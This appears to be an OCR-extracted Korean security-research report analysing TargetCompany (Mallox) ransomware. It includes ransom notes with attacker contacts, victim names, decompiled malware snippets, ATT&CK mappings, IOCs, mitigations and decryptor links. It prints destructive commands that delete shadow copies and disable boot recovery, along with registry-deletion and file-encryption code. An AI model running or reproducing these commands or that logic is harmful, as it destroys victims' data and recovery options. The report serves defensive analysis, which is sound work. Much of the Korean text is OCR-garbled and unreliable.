Research & Technique

£

o2t

28012 & & (TargetCompany Ransomware)

m 2

A elol= ‘Ransom’+ ‘Software’ @] FAo= A28 H
AR o5& Hotes Aol =
r

s ol FFHAA FAAE T A ot

TargetCompany Ransomwaret 574 7|{4S ooz ZHzte] didx
wzaha, dolE ks A WANE BRAE AP A9 dBe e
Ath. Mallox #ddol2% delA glow Avastg F3l Decryption Tool
TargetComapnay Ransomware® ™™ gt}

" HOIHE 2=oiet F S0 g 7t N 27

i
=
i
Ot
rr
e
=
Mo

EQST insight | 1



infosec

Mallox / TargetCompany

.carone, .consultransom, .tohnichi, .artiis, .herrco, .mallox,
brg, .architek, .exploit, .avast S EtZl 7|2 0| §2 2 ¥A

HE A

ﬂ-twm

..ﬁ-mbu-«vtu 3 Sarvd o€ sty
oo vt e o D s leial -

et

( rv-lnr t-'w - A e e e e

B L e e e e L
|

TrEN
-

[§ e ¥ e - (e v
l e 1 B AR S w0 e e e ¢ NI A e )
i R e o T s

mu&-ww'nrku W I e e

e it
b ey e o el s e S e e e et
| R A ARG P OT A WM Y e SO P e

RECOVERY INFORMATION.txt / How to decrypt files.txt
Ll Ol HE oS
i 3 b ChaCha20

og B = https://files.avast.com/files/decryptor/avast_decryptor_targetcompanybd.exe
&z = https://files.avast.com/files/decryptor/avast_decryptor_targetcompany.exe

E}2IE, Raccine 22i%}

T1027 - Obfuscated Files of Information

T1027.002 - Obfuscated Files or Information: Software Packing
T1490 - Inhiblt System Recovery

T1112 - ModIfy Reglstry

T1486 - Data Encrypted for Impact

ATT&CK
Techniques

[TargetCompany]
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E+ RECOVERY INFORMATION.txt, How to decrypt files.txt®

3 HAj2 RECOVERY INFORMATION.txt #dBos WHd=-EE AHst= 45, <Mallox

f

Ransom note> FE|Z AFE-3}aL )T},

~ #RansomMNoteWRECOVERY INFORMATION.txt - EditPlus
F TER BEE 270V BNE) SMED) Z2EWSE) R0 E2HSNE 0 BW ESTH)
e G|t o| 4 e x| | ot @4 A w=itv | EBERAD| R

I S Y

YOUR FILES ARE ENCRYPTED !!!

TO DECRYPT, FOLLOW THE INSTRUCTIONS:

To recover data you need decrypt tool.

To get the decrypt tool you should:

1.In the letter include your personal ID! Send me this ID in your first email to mel

2.We can give you free test for decrypt few files (NOT VALUE) and assign the price for decryption all files!

3.After we send you instruction how to pay for decrypt tool and after payment you will receive a decryption tooll
4.We can decrypt few files in quality the evidence that we have the decoder.

CONTACT US:

recohelper@cock.1i
mallox@tutanota.com

YOUR PERSONAL ID:

[Mallox Ransom note]

T WA 2 How to decrypt files.txt FdH o2 AWM -EES WA= 49 <TargetCompany
Ransom note> FEHZ AN L-E Yo EA 7|QES A o] 543l AF&3It}

& https: caroneandcompany.com/ c@c| ze o~ 0
@ e 2 covea ]
2 ST A i = H
) £l & Ad =W B &k
9 n 1. 2]
Your Pergonal identifier: CARSFNNCXM
All files on|Carone and Company Inc|network have been encrypted due to insufficient security.

The only way to quickly and reliably regain access to your files is to contact us.
The price depends on how fast you write to us.
In other cases, you risk losing your time and access to data. Usually time is much more valuable than money.

In addition to encryption, we downloaded 700 gb of data from your network, which, if we do not negotiate, could fall into {

FAQ

Q: How to contact us

A: * Download Tor Browser - https://www.torproject.org
* Open link in Tor Browser http://jnjorcburoayrwfrmng3czngju76wdjyuyufgaep6joutvidohuh24ad.onion/contact
* Follow the instructions on the website.

1 What guarantees?
: Before paying, we can decrypt several of your test files. Files should not contain valuable information.

> o

: Can I decrypt my data for free or through intermediaries?
: Use third party programs and intermediaries at your own risk. Third party software may cause permanent data loss.
Decryption of your files with the help of third parties may cause increased price or you can become a victim of a scam.

> Qo

[Mallox Ransom note]
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A7 FR1E G the Zek 2o slE B2l Contact olHld-S o] g1

At} Eold o= AvastolA Decryption Tool Al & FAAE B9 oulz S
‘avast ® WASILEE FASIe] HIES o]go] IO o] AvastE: AGFE AL

infosec
.artiis
tohnichi
.carone
brg
.herrco
.architek
mallox@tutanota.com i
L .mallox
recohelper@cock.li
: : .avast
mallox.israel@mailfence.com
consultransom@tutanota.com
) .consultransom
consultransom@protonmail.com
newexploit@tutanota.com exploit

[Target Company & Contact Email, Extension]

All files unl Carone and Company Inc |netwur‘k have been encrypted due to insufficient security.

All files on|TOHNICHI [network have been encrypted due to insufficient security.

All files on|A.R.T.I.S|network have been encrypted due to insufficient security.

All files un| Hellenic Recovery Recycling Corporation SAlnetwork have been encrypted due to insufficient security.

All files onlBRG Precision Products |network have been encrypted due to insufficient security.

All files on[Architekturburo Ingenieurburo Joachim Schmidt [network have been encrypted due to insufficient security.

[Ransom noted] A &3l 71dEd 7]

G5 AT A8 AL Yo AP AgHAL 54 Contact MU Fa AL
TR Ao® HRn
& @ jnjorcburocayrwfrmng3czngju76wdjyuyufqaep6joutvidohuh24ad.onion/contact w O ¥ =

Your company's files have been encrypted!

Your id Your email

[TargetCompany contact T+ ]
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B TargetCompany Ransomware 4tA| 241

TargetCompany Ransomware %2} &8¢ v}y 7t}

infosec
HEHO & Eﬂﬂoi HEyolg Es Q
TargetCompany Ransomware 23X}
AlAg 2o Sl — Hetds — gIX|AER| 7| AH|
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[TargetCompany @9 52 5]
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Az A3 A A2d A ARG ARBaE PAlo), Mg, $AL, ezt

UserDefaultlLangID = GetUserDefaultLangID(};

if ( UserDefaultlangID != 18449 [ FIREE S
&& UserDefaultlanglD != 1887 /4 Aot
&% UserDefaultLangID != 1859 A HEEE A
82 UserDefaultlangID != 1658 4 S32H0]E
8& UserDefaultlLangID != 1892 ) // EHEE 2B

(A" do] &<l

H3t AsS 9@ sld Z A 2~o SeTakeOwnershipPrivilege, SeDebugPrivilege H3Fs
51

sub_4848CE(L"SeTakeOwnershipPrivilege™);
sub_4848CE(L"SelebugPrivilege™);

[Z2A2 AT &3]

Step 3. FH3} A=

step 1) #A~Eg 7]9A Raccine?

= 2130 Raccine J?ﬂr'v’d 715 AHAgTE Bgh
Image File Execution Options @& 7]& 248 $8 =

SHDeleteKeyW (HKEY_CURRENT USER, L"SOFTWARE\\Raccine");
SHDeleteKeyW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Raccine");
SHDeleteKeyW(HKEY LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\Raccine™);
SHDeleteKeyl(

HKEY_LOCAL_MACHINE,

L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\vssadmin.exe"};
SHDeleteKeyhd(

HKEY_LOCAL_MACHINE,

L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wmic.exe");
SHDeleteKeyhi(

HKEY_LOCAL_MACHINE,

L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wbadmin.exe"};
SHDeleteKeyhl(

HKEY_LOCAL_MACHINE,

L"SOFTWARE\\Microsoft\\Windews NT\\CurrentVersion\\Image File Execution Options\\bcdedit.exe");
SHDeleteKeyhi(

HKEY_LOCAL_MACHINE,

L"SOFTWAREY \Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\powershell.exe");
SHDeleteKeyh(

HKEY_LOCAL_MACHINE,

L"SOFTWAREY \Microsoft\\Windows NTA\\CurrentVersion\\Image File Execution Options\\diskshadow.exe"
SHDeleteKeyh(

HKEY_LOCAL_MACHINE,

L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\net.exe");
return SHDeleteKeyh(

HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskkill.exe");

P

-

[FA2EZ 7] 2A]
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step 2) Q=S 7JuF WY Au] 20l BE AR BARS Tney] 98 ohg ol
AR gk,

GetWindowsDirectoryW(Buffer, 8x184u);

IstrcatW(Buffer, L"\\sysnativel\wvssadmin.exe");
lstrcpyW(Stringl, L" delete shadows /all /quiet™});
return ShellExecutel(®, L"open™, Buffer, Stringl, @, @);

[2E EF A= AR 244l

step 3) th MR olE Fal H7- &4 W2A4sE AT

infosec
cmd /c bededit /set {{current}} bootstatuspolicy ignoreallfailures
cmd /c bededit /set {{current}} recoveryenabled no
[T 37 v&d3t F=o]
Step 4. ZT2A X £8
dolguols 7l B 43S 98 54 TeAAE FTaa.
infosec
mysql.exe fdlauncher.exe fdhost.exe
ReportingServecesService.exe msmdsrv.exe MsDtsSrvr.exe
sqlwriter.exe sqlservr.exe ntdbsmgr.exe

oracle.exe sqlserv.exe

[Z2A2 F8 55]
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Step 5. ¢33 A& A <
ZAAE PC7F AAH R 2ed = Axs, 54 vd, A, = dadolA AL sit

step 1) ¥z dtet7] A wdE S vaste] 54 wdE e} el A<z

infosec
debuglog txt autorun.inf boot.ini
bootsect.bak ntuser.dat.log bootfont.bin
ntldr ntuser.ini iconcache.db
thumbs.db ntuser.dat desktop.ini

[¢E3} A9 3dB 5F]

step 2) ¥z 8ty A FAAE vlaste] 54 FAAE dast el Al

infosec
.themepack .bin .msp WpX .deskthemepack

.diagpkg .cns .ani .msc Jdco
.«md .msu .diagcfg .cab prf

0CX .theme .Scr .mod .diangcab
adv .386 .bat drv rom
.mpa .key .msi spl .com
hip Jdcs <pl Jdock .cur
.hta dll .nomedia .SYs tp
Jddx Jacl .msstyles .psl Ink

Lexe .nls .shs Adf .carone

[$z3} A9 &Fa 55]
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step 3) U Y= v & ¢}

lo

Windows
Windows Microsoft.NET
Swindows.~bt
application data
perflogs

system volume information

Windows NT
windows.old
boot
google
appdata

Swindows.~ws

[¢=z3} A9 29 5F

Ao s} el A Alef g

infosec

WindowsPowerShell
mozilla
tor browser
programdata
intel

msocache
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‘How to decrypt files.txt” 3tdH o2 AL-EE A3t}
= GetlogicalDrives();
tes.HighPart = 26;
if { (LogicalDrives & 1) I=@ )
1
v = malloc(@x14u);
5(v8, 18, L"¥c:\\", Stream);
v = GetDriveTy pe ( 8);
if ( vo == || v8 == 2 || va == 3)
1
E(vE, 18, L™\ \\¥c:", Stream);
sub_4@463B(L"Starting ¥s iteration...\r\ vB);
TotalNumberOfFreeBytes.HighPart = Cr Ea*‘eTh Ead(B @, sub_485399, vi, 8, @);// HEATZE H4
if { !WaitForSingleObject(Tota berOfFreeBytes.HighPart, @x3E3u) )
{
CloseHandle(TotalNumberOfFreeBytes . HighPart);
sub_48463B(L"Failed to start NTFS enumeration. Starting FirstFindFileBExW...%r\n");
CreateThread(®, @, sub_ 4858488, vi, B, @);
}

[RHA=E B4 =27]

]| How to decrypt filestxt - BI2&

IEF BEE M40 22)V) =SEH)

Your personal identifier: CARSFNNCEM

411 files on Carone and Company Inc network have been encrypted due to insufficient security.
The only way to guickly and reliably regain access to wour files is to contact us.

The price depends on how fast wou write to us.

In other cases,

we downloaded 700 gb of data from wour network, which,
into the hands of third parties and cause damage to vour reputation.

In addition to encryption,
could fal

Fall

- How to contact us

b: + Download Tor Browser — https://www.torproject.orad
+ Open link in Tor Browser http://injorcburoayrwfrmngsczng)uTewd)vuyufaaspBjoutyidohuh2dad  onioncontact
+ Follow the instructions on the website.

if we do not negotiate,

: What guarantees?

* Before paying, we can decrypt sewveral of wour test files. Files should not contain valuable information.

* Can | decrypt my data for free or through intermediaries?

] ]

wou risk losing wour time and access to data. Usually time is much more waluable than money.

© Use third party programs and intermediaries at vour own risk. Third party software may cause permanent data loss.
Decryption of wour files with the help of third parties may cause increased price or wou can become a victim of a scam.

[AH=E W]
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Step 7. ¥4 <433}

step 1) AAAEE AAo] Ey T ChaCha20 €dug]&S AFESH7] &l %27 7] 2EEHS

Sk

step 2) ‘Step 5. &Est A9 thd &1 GAlA g kst ol A AlelE g 9
B el W f=skE 3R

step 3) I dost T PJE Aol ‘carone’S F7I5HY ol&S

g
o,
rol
o

i
lpBuffer = malloc(wvlS});
if { lpBuffer )

1
for ( ; nNumberOfBytesToRead; --nNumberOfBytesToRead )
1
SetFilePointerEx(hFile, liDistanceToMowve, @, @);
ReadFile(hFile, lpBuffer, w28, &NumberOfBytesRead, @);
sub_4818EE(lpBuffer, lpBuffer, NumberOfBytesRead, w39});
SetFilePointerEx(hFile, liDistanceToMowve, @, @);
WriteFile(hFile, lpBuffer, NumberOfBytesRead, &NumberOfBytesRead, @);
liDistanceToMove.QuadPart += w24;
}
goto LABEL_27;
h

h

setFilePointerEx(hFile, @icd4, @, 2u);

v1ld = hFile;

WriteFile({hFile, Buffer, @x2Bu, &NumberOfBytesRead, @);

WriteFile(w1d, w48, @x10u, ENumberOfBytesRead, @);

WriteFile(w1l3, byte_ 428094, @x28u, &NumberOfBytesRead, @);

CloseHandle{v1g);

sub_48463B(L"File encrypted, trying to move... ¥sh\rin", lpFileName});

nNumberOfBytesToRead = lstrlenkW(lpFileName);

w19 = lstrlenw({L".carone™};

= nlumberOfBytesToRead + v19 + 1;

w21l = malloc{2 * wv2@);

nilumberOfBytesToRead = v21;

if ( w21 )

1
wnsprintfwW(v2l, w28, L"%sks", lpFileName, L".carone™);
MoveFileW(lpFileMame, nNumberOfBytesToRead);
free{nNumberOfBytesToRead);

}

3 opa
b

(3 4z3 24]
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¥ TargetCompany Ransomware Observables
infosec

Observable

Access Token  Privilege elevation.

Manlpulation

[T1134] SeTakeOwnershipPrivilege, SeDebugPrivilege

Delete registry keys.

HKCUW¥WSoftwareWWRaccine
HKLM¥wSoftwarew#Raccine
HKLM#%WSYSTEMW¥#CurrentControlSetwwServiceswwEvent
LogWwApplicationWWRaccine
HKLM#%WSOFTWAREW#MicrosoftWwWindows NTW#Current
VersionW¥Image File Execution OptionsW#vssadmin.exe
HKLM%WSOFTWAREWWMicrosoftWwwWWindows NTW#Current
VersionW¥Image File Execution OptionsW#wmic.exe

Modify HKLM%WSOFTWAREWWMicrosoftWwwWWindows NTWwCurrent

Registry  versionwWImage File Execution Optionsw#wbadmin.exe

[T1112] HKLM#WSOFTWAREWWMicrosoftWwWWindows NTW#Current
VersionW¥Image File Execution OptionsW¥bcdedit.exe
HKLM%WSOFTWAREWWMicrosoftWwWWindows NTWWCurrent
VersionW¥Image File Execution OptionsW¥#powershell .exe
HKLM#WSOFTWAREWWMicrosoftWwWWindows NTW#Current
VersionW¥Image File Execution OptionswW¥diskshadow.exe
HKLMWWSOFTWAREWWMicrosoftWwWWindows NTWWCurrent
VersionW¥Image File Execution OptionsW#net.exe
HKLM%WSOFTWAREWWMicrosoftWwwWWindows NTWWCurrent
VersionW¥Image File Execution OptionswW¥taskkill.exe

Delete volume shadow copy and recovery disable.

Inhibit System
Recovery vsaddmin.exe delete shadows /all /quiet
[T1490] cmd /c bededit /set {{current}} bootstatuspolicy ignoreallfailures
cmd /c bededit /set {{current}} recoveryenabled no
Data File encryption.

Encrypted for

Imapct “File encrypted, trying to move. .. %s”

[T1486]
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infosec
Step 1. £8 =X

- AR M X S S S5 2HEst] sHEEHO| HEH AL ERE Fe WALE
(oxt, html, hta HES| OIHE =2 W MES S0 EY S) 2T A EH =2 02 22

- THEH O DS APM S LHS PR S EM T S0 A2 He
-7 AT E fe YEE NAHM UIEHI Y HEL S 2R HE 22
-MAH ER S HRES SR E1 AUETURES S50 A AHE H|

Step 2. AFZ CH8, AT EALE B4 85 35 ofS 86l 22 Y 4 2 =24
- 52 782 0|HE S Tefste FHa2| =4,
CHE A ARj0lM SRIE 25 e A A” FHa| 2

- 7 EE B RS 2 T FfH | o X,
IHX| 7} gie A2 YA T2 =2 8" T2 03 Ha| 9l 0|AFE ZHsEhx| et = 4
-SH URLE S8t wUs 27 Y URL S| AE =X
- Y A AHO0| SlE ER T ALEE S =7 T4

Step 3. At2 CHE, AT 2l ¥ 20| S2E 5l 5 =4
-HY AARO HE AR HEE R AR HEFEY ER
-0|F WY AAH Z2 S2HOZ Falsl WY Al A FY EHE

- A CHEol HEt T2 M| AT §iE A T2 HAS 25D
DIEE HO| A= FL HY ZZHAZ HE S 2et

-71EH, S0 22 HAo| e A =2 #0252
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« URL : https://www.pcrisk.com/removal-guides/23015-targetcompany—-ransomware
« URL : https://twitter.com/fbgwls245/status/1493434130431823872
e URL : https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/
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